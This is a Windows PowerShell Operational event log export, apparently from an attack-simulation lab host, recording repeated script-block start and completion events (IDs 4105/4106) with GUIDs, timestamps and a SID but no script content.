RecordNumber=2025102
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025101
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025100
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025099
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025098
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025097
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025096
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025095
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025094
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025093
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025092
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025091
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025090
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025089
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025088
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025087
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025086
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025085
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025084
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025083
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025082
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025081
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025080
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025079
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025078
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025077
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025076
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025075
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025074
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025073
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025072
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025071
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025070
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025069
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025068
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025067
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025066
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025065
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025064
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025063
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025062
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025061
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025060
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025059
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025058
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025057
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025056
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025055
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025054
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025053
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025052
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025051
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025050
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025049
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
